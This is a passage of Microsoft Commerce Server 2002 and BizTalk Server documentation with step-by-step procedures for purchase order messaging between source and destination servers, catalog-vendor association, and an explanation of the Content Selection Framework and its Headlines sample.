  2. In BizTalk Messaging Manager, in the left pane, click the Messaging Ports link in the Search for other items area, and then click Search Now.
  3. Select the messaging port that the channel will be associated with (for example, OutPortToDestination).
  4. On the File menu, point to New, point to Channel, and then click From an Application.
  5. In the New Channel Wizard, in the General Information screen, in the Name box, type the name of the channel (for example, OutChannelToDestination), and then click Next.
  6. In the Source Application screen, verify the Application option is selected.
  7. In the Name box, select the name of the application from the drop-down list (for example, POApplication for purchase order and CatalogTransferDoc for catalog transfer).
  8. In the Organization identifier box, verify <source organization>/ <identifier value> (Default) as the identifier, (for example, My Company / Sender (Default) and then click Next.
  9. In the Inbound Document screen, click Browse to the right of the Inbound document definition name box.
  10. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  11. In the Inbound Document screen, click Next.
  12. In the Outbound Document screen, click Browse to the right of the Outbound document definition name box.
  13. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  14. In the Outbound Document screen, click Next.
  15. In the Document Logging screen, click Next.
  16. In the Advanced Configuration screen, click Advanced.
  17. In the Override Messaging Port Defaults dialog box, click Properties.
  18. In the BizTalk SendHTTPX Properties dialog box, in the User name box, type the fully qualified user. For example, REDMOND\<user name>.
  19. In the Password box, type the user password, and then click OK.
  20. In the Override Messaging Port Defaults dialog box, click OK.
  21. In the Advanced Configuration screen, click Finish.

A channel is created from the Home Organization for the messaging port that you created in the procedure, "To create a messaging port on the source server."

See Also

Setting Up the Destination Server


Setting Up the Destination Server

To set up a messaging port between two organizations, you must set up the source server and the destination server. For example, your BizTalk Server is the source server and the vendor BizTalk Server is the destination server.

Perform the steps described in this section to set up purchase order exchange on the destination server. For instructions about setting up the source server, see Setting Up the Source Server.

This section contains:

  • Example: Configuring the Destination Server for Purchase Orders
  • Copying Required Files for the Destination Server
  • Creating a Destination Organization on the Destination Server
  • Creating Document Definitions on the Destination Server
  • Creating a Messaging Port on the Destination Server
  • Creating a Channel on the Destination Server


Example: Configuring the Destination Server for Purchase Orders

The following tables list examples of the values you enter in BizTalk Server to configure a destination server for purchase order exchange.

Sample Values for Destination Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompany
Qualifier | MyCompany
Identifier Value | Receiver
Application Name | POApplication

Sample Values for Source Organization Properties

Set this | To
Organization Name | Source
Customer Name | MyCompany
Qualifier | MyCompany
Identifier Value | Sender

Sample Values for Document Properties

Set this | To
Document Name | PurchaseOrder
Document Specification | .../Microsoft/POSchema.xml

Sample Values for Assigning a Messaging Port to an Application

Set this | To
Port Name | InPortFromSource
Application Name | POApplication
HTTP Address | http://<destination server name>/Retail/_recvpo.asp Use a valid destination server as <destination server name>.
Envelope | POEnvelope
Envelope Identifier | MyCompany / Receiver (Default)

Sample Values for Assigning a Channel from an Organization

Set this | To
Name | InChannelFromSource
Source Application Name | POApplication
Organization Identifier | MyCompany/Sender (Default)
Inbound Document | PurchaseOrder
Outbound Document | PurchaseOrder

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server

Example: Configuring the Source Server for Exchanging Catalogs


Copying Required Files for the Destination Server

Both the source and destination servers must contain the same POSchema.xml file.

Note

  • The source and destination servers must have the same catalogs of products; otherwise the purchase order submission will fail. For information about setting up your catalogs, see Setting Up Your Catalogs for BizTalk Server.

To copy ReceiveStandard.asp to the destination server

  • Copy the ReceiveStandard.asp file located in <drive:>\Program Files\Microsoft BizTalk Server\SDK\Samples to the path <drive:>\inetpub\wwwroot\<site name>.

To copy POSchema.xml to the destination server

  • Copy the POSchema.xml file located in <drive:>\inetpub\wwwroot\<site name> to the path <drive:>\Program Files\Microsoft BizTalk Server\BizTalkServerRepository\DocSpecs\Microsoft.

See Also

Copying and Importing Required Files for the Source Server

Setting Up Your Catalogs for BizTalk Server


Creating a Destination Organization on the Destination Server

The destination BizTalk Server is the vendor. An organization can be the source or the destination in a messaging port, distribution list, or channel. An organization can represent an external trading partner, your own company, or a business unit within a trading partner or your company. Each organization has unique identifiers that identify it to BizTalk Server and to other trading partner organizations.

To support basic authentication, you use the ReceiveStandard.asp file that is shipped with BizTalk Server. The ReceiveStandard.asp page collects information and submits it to BizTalk Server. To implement a secure Web site, you must set privileges on ReceiveStandard.asp.

On the destination server, you must create both a source organization and a destination organization.

To set privileges on ReceiveStandard.asp

To create a destination organization on the destination server

To create a source organization

To set privileges on ReceiveStandard.asp

  1. Click Start, point to Programs, point to Administration Tools, and then click Internet Services Manager.
  2. Expand the <server name>, expand the default website, select the site (for example, Retail), and then right-click ReceiveStandard.asp.
  3. In the File Security tab, in the Anonymous access and authentication control section, click Edit.
  4. In the Authentication Methods dialog box, in the Anonymous access section, click Edit.
  5. In the Anonymous User Account dialog box, in the Username box, type the Windows user name of the account used to access this computer. In the Password box, type the Windows user account password.
  6. In the Anonymous User Account dialog box, click OK.
  7. In the Authentication Methods dialog box, click OK.
  8. In the ReceiveStandard.asp Properties dialog box, click OK.
  9. Close Internet Services Manager.

ReceiveStandard.asp is set up for secure operations. Access to the site is locked and the receiver of a purchase order exchange or catalog exchange will need to know the user account and password.

To create a destination organization on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the Configuration Options dialog box, click Cancel to close the dialog box.
  3. In the left pane, in the Search for other items area, click Organizations, and then click Search Now to display the list of available organizations.
  4. In the list of available organizations, double-click Home Organization.
  5. In the Organization Properties dialog box, on the Identifiers tab, click Add.
  6. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  7. In the Qualifier box, type MyCompany.
  8. In the Value box, type the name of the source organization (for example, Receiver).
  9. Select the Set as default check box to set the source organization as the default organization, and then click OK.
You must designate a default organization before you can create a messaging port. The default organization can serve as either the source or the destination for each new messaging port. You can designate a different default organization at any time and then create messaging ports that use the new default organization.
  1. On the Applications tab, click Add.
  2. In the New Application dialog box, type the application name (for example, POApplication), and then click OK.
  3. In the New Organization dialog box, click OK.

The source organization on the destination server is created and specified as the default organization.

To create a source organization

  1. In BizTalk Messaging Manager, on the File menu, point to New, and then click Organization.
  2. In the New Organization dialog box, on the General tab, in the Organization name box, type the name of the destination organization (for example, Source).
  3. In the Comments box, type any necessary comments about the destination organization.
  4. On the Identifiers tab, click Add.
  5. In the New Identifier box, select the Custom option, and then type MyCompany.
  6. In the Qualifier box, type MyCompany.
  7. In the Value box, type the name of the receiver (for example, Sender), and then click OK.
  8. In the New Organization dialog box, click OK.

The destination organization is created.

See Also

Creating Document Definitions on the Destination Server


Creating Document Definitions on the Destination Server

A document definition represents a business document in a messaging port, channel, or distribution list. A document definition provides a pointer to a specification that defines the document. A document definition can be associated with any number of messaging ports, channels, and distribution lists.

The destination BizTalk Server is the vendor.

To create a document definition with an associated XML file

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Document Definition.
  3. In the New Document Definition dialog box, in the Document definition name box, type a name for the document definition (for example, PurchaseOrder).
  4. Select the Document specification dialog box, and then click Browse.
  5. In the Select a Document Specification from the WebDAV Repository dialog box, double-click the Microsoft folder.
  6. Select an Extensible Markup Language (XML) file (for example, POSchema.xml), and then click Open.
  7. In the New Document Definition dialog box, click OK.

A purchase order is created with an associated custom XML file.

See Also

Creating a Messaging Port on the Destination Server


Creating a Messaging Port on the Destination Server

The destination BizTalk Server is the vendor.

To create a messaging port on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, point to Port, and then click To an Application.
  3. In the New Messaging Port Wizard, in the General Information screen, in the Name box, type the name of the port (for example, OnPortFromSource), and then click Next.
  4. In the Destination Application screen, select the Application option, and then in the Name box, select the name of the application (for example, POApplication) from the drop-down list.
  5. In the Primary Transport section, click Browse to the right of the Address box.
  6. In the Primary Transport dialog box, in the Transport type box, select HTTP from the drop-down list.
  7. In the Address box, type http://<destination server name>/<site name>/_recvpo.asp, and then click OK.
  8. Click Next.
  9. In the Envelope Information screen, leave the Envelope information box blank because the default XML file is being used.
  10. Click Next.
  11. In the Security Information screen, verify the Create a channel for this messaging port check box is selected.
  12. In the Channel type box, select From an application from the drop-down list, and then click Finish.
  13. In the General Information screen, click Cancel.

The messaging port between the Home Organization and the destination organization is created.

See Also

Creating a Channel on the Destination Server


Creating a Channel on the Destination Server

A channel is a set of properties that you can use to provide BizTalk Server with the rules for processing a document that it receives. After a channel has processed a document, it is passed to its associated messaging port or distribution list to be transported to the specified destination. You can create one or more channels for a messaging port or distribution list.

The destination BizTalk Server is the vendor.

To create a channel on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the left pane, click the Messaging ports link in the Search for other items area, and then click Search Now.
  3. Select the port that the channel will be associated with (for example, SubmitPort).
  4. On the File menu, point to New, point to Channel, and then click From an Organization.
  5. In the New Channel Wizard, in the General Information screen, in the Name box, type the name of the channel (for example, InChannelFromSource), and then click Next.
  6. In the Source Organization screen, verify the Organization option is selected.
  7. Click Browse to the right of the Name box.
  8. In the Select an Organization dialog box, select the destination organization (for example, MySupplier), and then click OK.
  9. In the Organization identifier box, verify <source organization>/ <identifier value> (Default) as the identifier, and then click Next.
  10. In the Inbound Document screen, click Browse to the right of the Inbound document definition name box.
  11. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  12. In the Inbound Document screen, click Next.
  13. In the Outbound Document screen, click Browse to the right of the Outbound document definition name box.
  14. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  15. In the Outbound Document screen, click Next.
  16. In the Document Logging screen, click Next.
  17. In the Advanced Configuration screen, click Finish.

The channel between the Home Organization/application and the Home Organization for the source/sender messaging port is created.


Setting Up Your Catalogs for BizTalk Server

When you set up an agreement with a vendor, the vendor ID is made available to Commerce Server. The vendor ID is the organization name that you specify for the vendor when you create a destination organization for the source server. For more information, see Creating Source and Destination Organizations on the Source Server.

Commerce Server displays the vendor ID in Commerce Server Business Desk. It displays those trading partners (organizations) that support the same document type as your organization, and thus have compatible document routing. You can then use Business Desk to associate the vendor ID and the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do this you must also customize _additem.asp.

If you name a vendor Default, Commerce Server recognizes your own site as the vendor.

Note

  • When a user orders an item from your Web site, the item must exist in the catalog of the destination organization. If the destination organization does not have the item in its catalog, BizTalk Server will not be able to send the purchase order from your site to the vendor. It will write an error message to the event log instead.

To associate a catalog with a vendor

  1. From Commerce Server Business Desk, in Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to add the vendor ID to, and then click Open on the toolbar.

    In the Catalog Editor - <catalog name> screen, in the Vendor ID box, click the ellipsis to display a list of vendor identifications. Select the appropriate vendor identification for this catalog.

    Commerce Server updates the list of vendors automatically each time you create another agreement with a vendor by using BizTalk Server.

  3. To save your change to the catalog and return to the Catalogs screen, click Save and go back on the toolbar.

See Also

Example: Configuring the Source Server for Exchanging Catalogs

Creating a Base Catalog

Sending a Catalog to a Trading Partner


Extending the Content Selection Framework

The Content Selection Framework (CSF) is a platform-level framework for building targeted content delivery applications on the Internet. The targeted advertising and discount features of Microsoft Commerce Server 2002 are built by using CSF. The framework provides the means for building new types of content delivery applications and makes it easy to customize and extend the advertising and discount delivery systems.

This section contains:

  • Extending the Capabilities of the Content Selection Framework. Describes how to extend the scoring, selection, recording, and cache loading capabilities of the CSF.
  • Content Selection Framework Concepts. Describes scoring, filtering, tracing and debugging, selecting, formatting, and recording events in the CSF.
  • Objects and Components of the Content Selection Framework. Describes the functionality of the objects and components of the CSF.
  • Lifecycle of a Request for a Targeted Advertisement Describes the steps involved in targeting advertisements.
  • Performance and Scalability of the Content Selection Framework. Describes how to ensure that your custom extensions to the CSF maintain maximum performance.
  • Creating the CSF Headlines Sample. Describes how to install and run the custom CSF Headlines sample.
  • Content Selection Framework Component Reference. Lists the components associated with the CacheManager object, the CSF pipelines, and the framework.


Extending the Capabilities of the Content Selection Framework

This section describes some of the ways you can extend the Content Selection Framework (CSF). Because the CSF is built on pipelines, it can be extended in many different ways: scoring, selection, recording, and cache loading.

Scoring

Selection

Recording

Cache Loading

Scoring

You can create pipeline components that score content in different ways. An example of this is the CSF Headlines sample scoring component that takes into account the publish date for a headline and its priority in order to compute a score for the headline. Scoring components can also be more general, such as a scoring component that uses neural network technologies in order to score content based on its likelihood of being clicked or leading to a purchase on your site.

Selection

The SelectWinners pipeline component uses a deterministic selection algorithm when selecting generic content; it selects the content item(s) with the highest scores. You could write a new selection component that instead treats the score of each content item as a probability and uses a random number generator to select from among them.

Recording

Commerce Server 2002 records advertising and other content events to the Internet Information Services (IIS) 5.0 log file and aggregates near real-time counts of these events in the Campaigns database. You could extend this to provide statistical sampling that can be used with a third-party inventory management module. Or, if your business is aligned with a third-party auditing firm, and that firm provides a plug-in pipeline component that provides a different type of event logging, you could extend this by recording advertising events to a database.

Cache Loading

If you want to target dimensions that are not included in the schema of the Campaigns database, you can override the query used by the LoadAdvertisements or LoadDiscounts components and add the new dimensions to the list in the SELECT query. For example, if you run advertisements on multiple Web sites but want to run them all from the same Campaigns database, you could add a dimension for Site. Then each site would use a slightly different query that includes a WHERE Site = 'sitename' clause. Or maybe each ad on your site is associated with a stock ticker, so you add the ticker dimension to the query and then use this to create filters executed by the FilterContent component.


Content Selection Framework Concepts

To optimize your use of Commerce Server 2002, it is important that you understand the underlying concepts on which the Content Selection Framework (CSF) is built.

Scoring

Filtering

Tracing and Debugging

Selecting

Formatting

Recording Events

Scoring

The CSF content selection process is a process of scoring content items and then selecting the "winners" based on those scores. The score for each content item is managed by the ContentList object and is a floating-point number. A content item score of zero means that the content item should not be selected under any circumstances.

There are two stages in a CSF pipeline that manipulate the scores of content items — one to assign an initial score to each item, and one to adjust the score based on targeting criteria. If there is no component in the initial scoring stage, then all content items receive an initial score of 1.0. Score adjustments made in the scoring stage should apply multipliers. A multiplier less than 1.0 can be used to reduce the score of a content item, a multiplier greater than 1.0 can be used to increase the score of a content item, and a multiplier of 0.0 can be used to eliminate a content item from further consideration.

Filtering

Filtering is the process of eliminating content items by using indexes built on the content in the ContentListFactory object. Because a filter uses pre-built indexes, it is considerably more efficient than expression evaluation, but at the expense of reduced flexibility. In the Commerce Server Advertising and Discount pipelines, filters are used on the Page Group and Content Size dimensions, but can be extended to filter on any string, integer, or array column in the ContentList object schema. A filter can require that content items have a particular column value, or it can exclude content items where the column contains particular values. Filters can also use sets of values, so that content items with any one of the values in the set will meet the filter requirements and will be passed through.

Tracing and Debugging

Sometimes it is difficult to know why a particular content item was selected and others were not. To debug or fine-tune a content delivery application, you can enable tracing in the pipeline. You enable tracing by setting the Trace property on the ContentSelector object to true. When tracing is enabled, all modifications to content item scores are tracked. Components that perform scoring should check to see if tracing is enabled, and if it is, then they should pass descriptive strings when calling the SetScore or AdjustScore methods on the ContentList object. The Commerce Server 2002 Software Development Kit (SDK) contains a file called TraceScores.asp that can be used to display the trace strings for each content item, as well as each item's final score. Tracing should be used only for debugging; it should not be used in production. When the Trace flag is on, it severely degrades the performance of the CSF pipelines.

The OrderPipeline object itself provides a rudimentary form of logging so that you can see what values are read and written to or from the Order and Context dictionaries that are passed through the pipeline. To enable this type of debug logging, call the SetLogFile method on the pipeline.

Selecting

After score adjustments have been made, the CSF pipeline has to select the "winners." The SelectWinners component provided with Commerce Server treats advertisements differently than generic content items. For generic content items, it simply picks the item(s) with the highest score. For advertisements, it first decides whether to show a house ad or a paid ad. If a paid ad is selected, it takes the ad with the highest score. If a house ad is selected, it uses the weights of all house ads as probabilities and selects from among them randomly. The SelectWinners component also prevents competing ads from running on the same page and can use a PageHistory string to prevent selecting the same content item multiple times on the same page.

Formatting

The winning content item(s) need to be formatted as strings before they are returned to the page. Formatting brings the properties of the content item and the global- and page-level context properties together and uses them as insertion strings into a provided template. The end result of formatting is a SimpleList object of string values, with each list entry containing the string representing a content item. For information about the formatting process, see FormatTemplate.

Recording Events

Whenever an ad is served or clicked, this event has to be recorded. The Need of Delivery (NOD) algorithm for advertisements uses this event information to compute the score of an ad. The RecordEvent component records these events into an in-memory Dictionary object, called the Performance Dictionary. At the time of the next cache refresh, these events are written to the database by the CSFWriteEvents component. The IISAppendToLog component also records these events to the Internet Information Services (IIS) 5.0 log file for later importing into the Commerce Server Data Warehouse.


Objects and Components of the Content Selection Framework

The objects and components of the Content Selection Framework (CSF) perform all the tasks associated with the scoring, filtering, and selection of targeted content.

CacheManager Object

ContentList and ContentListFactory Objects

ContentSelector Object

Pipelines and Pipeline Components

Expression Evaluator Component

User Object

Targeting Context Profile

Data Warehouse and Analysis Reports

CacheManager Object

The CacheManager object provides simple cache management services. It can periodically invoke Component Object Model (COM) components to fill a cache object, usually a Dictionary component, with information used in the content delivery process. It can also invoke components to write out information collected during the content delivery process, for example, counts of advertising events such as ad requests and ad clicks. For information about how to author these COM components, called Loader and Writer components, see Code to Implement Custom Cache Components.

ContentList and ContentListFactory Objects

The cache loader COM components invoked by the CacheManager object usually create a ContentListFactory object, which contains the entire content set that is available for selection. For each request for content coming in from the ContentSelector object, the ContentListFactory creates a new ContentList object to be used by that single request only. The ContentList object provides methods for scoring and filtering the content in the ContentListFactory object.

ContentSelector Object

The ContentSelector object is the unified interface for selecting all types of dynamic and targeted content displayed on the site. The ContentSelector object provides the means to pass extensible sets of global- and page-level properties to the Content Selection pipelines. It invokes the appropriate pipeline object and returns the resulting content as a SimpleList object of formatted content strings, usually HTML or XML.

Pipelines and Pipeline Components

The core work of content selection occurs in pipelines. Content Selection pipelines are separated into stages such as scoring, selecting, and formatting. You can write custom pipeline components that plug into these stages, either to replace the functionality of an existing Commerce Server 2002 CSF pipeline component or to augment the default behavior.

Scriptor components allow you to prototype a pipeline component in Microsoft Visual Basic Scripting Edition (VBScript) or JScript. Pipelines are also used in the CSF for recording events related to content selection, such as ad requests and ad clicks. For information about the stages in a CSF pipeline and the CSF pipeline components provided with Commerce Server, see Content Selection Pipelines. For information about how to write pipeline components by using the Commerce Server 2002 Software Development Kit (SDK), see Building Pipeline Components.

Expression Evaluator Component

The Expression Evaluator component provides flexibility for targeting content on your site. Expressions are constructed in Commerce Server Business Desk, grouped into target groups, and associated with content items available for selection on the site. At run time the EvalTargetGroups component evaluates the expressions in each target group and adjusts the scores of content items in the ContentList object. You can think of expressions as representing the goals for a content item, for example, if you want an ad to be shown to users whose favorite sport is football, but only to those users who are also over the age of 18.

User Object

To target users on your site, you will need to store information about those users and retrieve that information at run time. The Profiles resource and associated profile objects provide the means to do so. At design time you can manage and extend the properties available in the User object profile definition by using the Profile Definition Designer module available in Business Desk and in the Profiles resource in Commerce Server Manager.

Targeting Context Profile

In addition to targeting users of your site, you might also want to target other information representing the context of a request for content. Examples of this are targeting content to users who are visiting your site from a particular domain, targeting content to specific pages or page groups on your site, and targeting content to pages where specific search keywords are provided.

The ContentSelector object serves the dual role of being the interface to CSF content selection, as well as being a property bag for setting context properties for targeting by expressions or filters. At design time you can manage and extend the properties available in the context profile by using the Profile Definition Designer module available in Business Desk and in Commerce Server Manager.

Data Warehouse and Analysis Reports

The Content Selection Framework enables you to log event data related to content selection into the IIS log files for your site. The log files can then be imported into the Data Warehouse for reporting. You use the Analysis modules in Business Desk to run reports on the user and site data stored in your Data Warehouse, and you use the results of those reports to perform business analytics on the performance of your Web site.


Lifecycle of a Request for a Targeted Advertisement

This topic describes the steps the Content Selection Framework (CSF) follows to retrieve a targeted advertisement for delivery on the site. The discount selection process is identical, except for replacing the AdvertisingNeedOfDelivery component in one pipeline with the ScoreDiscounts component in the other.

A user accesses an ASP Web page

A user clicks an ad

The CacheManager object background thread fires

A user accesses an ASP Web page

  1. The code in the ASP page creates the ContentSelector object (CSO).
  2. The code in the ASP page sets the CSO page context properties.
  3. The code in the ASP page calls the CSO.GetContent method.

    At this time, GetContent accepts a global context dictionary. This dictionary contains several global references, including references to the global instances of CacheManager object, CacheName object, ExpressionEvaluator object, and a reference to a shared pipeline instance of the global dictionary itself. The dictionary also holds a RedirectURL object to use later in formatting advertisements.

  4. The CSO invokes the Advertising pipeline.

    When the CSO invokes the Advertising pipeline, it passes in a copy of the global context directory used in the previous step. The components will use this context dictionary copy to pass information down the pipeline. Note that the copy is a Shallow copy: that is, all of the references in the copied dictionary still point to the original CacheManager, CacheName, and ExpressionEvaluator objects.

    It is important to remember that the Advertising pipeline treats the reference back to the original global dictionary as the TargetingContext profile for the purpose of evaluating expressions. That is, you can set name-value pairs on the CSO when you author the page, and the runtime can evaluate expressions against your input. At design time, this profile shows up in BizDesk as the Targeting Context.

    Note that the previous model has been modified for the .NET model. In .NET, the TargetingContext profile is a separate object that you pass in to the pipeline.

  5. The InitCSFPipeline component calls the CacheManager.GetCache method.
  6. The CacheManager object invokes the CSFLoadAdvertisements component (only the first time).
  7. The InitCSFPipeline component copies some page and global context properties into the Pipe Context dictionary.
  8. The InitCSFPipeline component creates filters for the Size and PageGroups properties.
  9. The LoadHistory component loads the user-specific history string.
  10. The FilterContent component applies the filters.
  11. The AdvertisingNeedOfDelivery component assigns each ad an initial score based on the start date and end date of the ad, the duration of the ad run, and how many events have been served to date.
  12. The HistoryPenalty component applies penalties for ads that have already been shown to the current user and enforces exposure limits.
  13. The EvalTargetGroups component evaluates target groups and adjusts scores.
  14. The SelectWinners component selects the winning advertisement(s). It prevents industry collision and uses the PageHistory string to avoid showing the same ad multiple times on the same page.
  15. The RecordEvent component records the event to an in-memory performance dictionary.
  16. The IISAppendToLog component records the event to the IIS log file.
  17. The RecordHistory component records the event to the user-specific history string.
  18. The SaveHistory component saves the user-specific history string.
  19. The FormatTemplate component formats the selected advertisements using a template that brings together ad properties, page context, and global context and puts the resulting strings into a SimpleList object.
  20. The CSO returns a SimpleList object of formatted advertisements.
  21. The content is rendered onto the ASP page.

A user clicks an ad

  1. The Redir.asp page is called.
  2. The Redir.asp page invokes the RecordEvent component.
  3. The RecordEvent and IISAppendToLog components are called.
  4. The content is rendered onto the ASP page.

The CacheManager object background thread fires

  1. The CSFWriteEvents component flushes events in the in-memory performance dictionary to the database.
  2. The CSFLoadAdvertisements component loads new advertising information, including the updated aggregate event counts used for the Need Of Delivery (NOD) calculation.

See Also

Example Code for ContentSelector Object


Performance and Scalability of the Content Selection Framework

This topic presents tips for how to ensure that your custom extensions to the Content Selection Framework (CSF) maintain maximum performance.

Make pipeline components free-threaded and marked as poolable

While it is possible to create CSF pipeline components by using Microsoft Visual Basic 6.0, it is not recommended. Visual Basic components are always apartment-threaded and therefore the pipeline has to create a new instance of your component for each content request. For maximum performance, implement your pipeline components in Microsoft Visual C++ by using the Active Template Library (ATL). Make the components both-threaded and be sure to indicate to the pipeline that it can pool the components by adding the Component Object Model (COM) category, CATID_POOLABLE, to the registration information of your component.

Avoid database access on a per-request basis

For performance reasons, the CSF was designed to avoid database or disk access on each content request. Instead, it caches all of the content into in-memory ContentListFactory and Dictionary objects. It queues up campaign item event data and writes it out during the next cache refresh. When writing your own extensions to the CSF, try to retain this design point, if possible.

Too much content to fit in a single in-memory cache

If the amount of content being served by the CSF grows too large, it might not be possible to store all of the content in a single ContentListFactory object. For example, if there are more than 1,000 content items being considered, they should be segmented into multiple content caches. Find a dimension to segment on, such as page group or site name.

Alternatively, in the Load Context stage of your CSF pipeline, you can make a query against a content store, such as a Microsoft SQL Server 2000 database. Use the results of the query to build a ContentListFactory object unique to the request that contains a small subset of the content. If you use this method, build filtering in as part of your query to avoid building a new index on each ContentListFactory object that is created.

Prefer filtering to expression evaluation

When you have a dimension that is commonly used for targeting on your site, consider using a filter instead of expressions to target that dimension. Because filters use pre-built indexes on the ContentListFactory object, they are more efficient than expressions. However, filters generally require a site developer to set them up, whereas a business manager can create and manage expressions.

The "funnel effect"

Try to arrange your filtering and scoring operations in order of increasing performance cost. Filtering should be first (hence its order in the CSF pipeline), followed by rudimentary scoring, such as application of exposure limits. The last step should generally be expression evaluation because it is usually the most costly operation. Your goal should be to eliminate as much content as possible, as early as possible. For example, if your site uses multiple ad banner sizes, any given user request is usually for only one of those sizes, so a filter is used to quickly eliminate all ads with a size that does not match the requested size. You should look for other opportunities to apply such filtering.


Creating the CSF Headlines Sample

The Commerce Server 2002 Software Development Kit (SDK) includes a sample called CSF Headlines that contains components that you can use for displaying targeted news headlines on a site. It includes a scoring pipeline component and a custom cache loader component for loading the headlines and for creating a ContentListFactory object.

This section contains:

  • Step 1: Installing the CSF Headlines Sample
  • Step 2: Preparing SQL Server for the CSF Headlines Sample
  • Step 3: Preparing the CSF Components for the CSF Headlines Sample
  • Step 4: Running the CSF Headlines Sample


Step 1: Installing the CSF Headlines Sample

To install the CSF Headlines sample, perform the following procedures.

To install the CSF Headlines sample

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Commerce Server Site Packager screen, select Unpack from a package file [.pup], and then click Next.
  3. In the Unpack dialog box, click Browse.
  4. In the Open dialog box, navigate to <drive:>/Program Files/Microsoft Commerce Server/PuP Packages, select Blank.pup, and then click Open.
  5. When you are returned to the Unpack dialog box, select Custom Unpack, and then click Next.
  6. In the Unpack Method dialog box, click Create a new site, and then click Next.
  7. In the Site Name screen, type CSFHeadlines in the Site name box, and then click Next.
  8. In the Select Resources screen, accept the default setting, which unpacks all the resources in the Resources to unpack box, and then click Next.
  9. In the Global Resource Pointers screen, accept the default settings, and click Next.
  10. In the Database Connection Strings screen, accept the default settings, and click Next.
  11. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    SQL user name | Type your SQL Server user name.
    SQL password | Type your SQL Server user password.
  12. Click OK.
  13. In the Select Applications screen, accept the default settings, and then click Next.
  14. In the Select IIS Web Sites and Virtual Directories screen, in the IIS virtual directory box, which currently holds the value blanksite, type CSFHeadlines.
  15. In the Application box, select BlankBizDesk, and in the IIS virtual directory box that currently holds the value blankbizdesk, type CSFHeadlinesBizDesk, and then click OK.
  16. Accept the default settings for the following dialog boxes, and click Next until you reach the Unpackaging is complete! dialog box.
  17. To close the Commerce Server Site Packager screen, click Finish.

To Update the ASP scripts and the pipeline directory

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Copy the files GLOBAL.ASA, DEFAULT.ASP, DUMPCONTENTLIST.ASP, and TESTHEADLINESLOADER.ASP from <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Web to <drive:>\Inetpub\wwwroot\CSFHeadlines.
  3. In the Confirm File Replace dialog box, click Yes to All.
  4. Copy the pipeline directory and the files within it from <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL\Web to <drive:>\Inetpub\wwwroot\CSFHeadlines.

For more information about unpacking a site, see Unpacking a Site. The file to unpack, Blank.pup, is located in the <drive:>\Program Files\Microsoft Commerce Server\PuP Packages directory.


Step 2: Preparing SQL Server for the CSF Headlines Sample

To prepare Microsoft SQL Server for the CSF Headlines sample, perform the following procedure. The CSF Headlines sample must be installed before continuing.

To prepare SQL Server for the CSF Headlines sample

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Query Analyzer.
  2. In the Connect to SQL Server dialog box, do the following:
    Use this | To do this
    SQL Server | Type the name of the SQL Server computer.
    Connect using | Select SQL Server authentication.
    Login Name | Type your SQL Server login name.
    Password | Type your SQL Server password.
  3. Click OK.
  4. In the SQL Query Analyzer screen, on the Query menu, click Change Database.
  5. In the Select Database dialog box, select CSFHeadlines_commerce, and then click OK.
  6. On the File menu, click Open.
  7. In the Open Query File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL, select headlines_config.sql, and then click Open.
  8. On the Query menu, click Execute.
  9. On the File menu, click Open.
  10. In the Open Query File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL, select sample_headlines.sql, and then click Open.
  11. On the Query menu, click Execute.
  12. On the File menu, click Exit.

See Also

Step 1: Installing the CSF Headlines Sample


Step 3: Preparing the CSF Components for the CSF Headlines Sample

To prepare the Content Selection Framework (CSF) components for the CSF Headlines sample, perform the following appropriate procedure for the programming environment. The CSF Headlines sample must be installed and SQL Server must be prepared before performing these procedures.

To prepare the CSF components for the CSF Headlines sample in Visual C++

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual C++.
  2. On the File menu, click Open.
  3. In the Open dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Components\Scoring, select CSFScoreHeadlines.dsw, and then click Open.
  4. In the CSFScoreHeadlines - Microsoft Visual C++ screen, on the Build menu, click Build.
  5. After the project has been built, on the File menu, click Save Workspace.
  6. On the File menu, click Exit.

To prepare the CSF components for the CSF Headlines sample in Visual Basic

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.
  2. In the New Project screen, on the Existing tab, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Components\CacheLoader, select HeadlineLoader.vbp, and then click Open.
  3. Build the project.
  4. After the project has been built, on the File menu, click Save Project.
  5. On the File menu, click Exit.

See Also

Step 1: Installing the CSF Headlines Sample

Step 2: Preparing SQL Server for the CSF Headlines Sample


Step 4: Running the CSF Headlines Sample

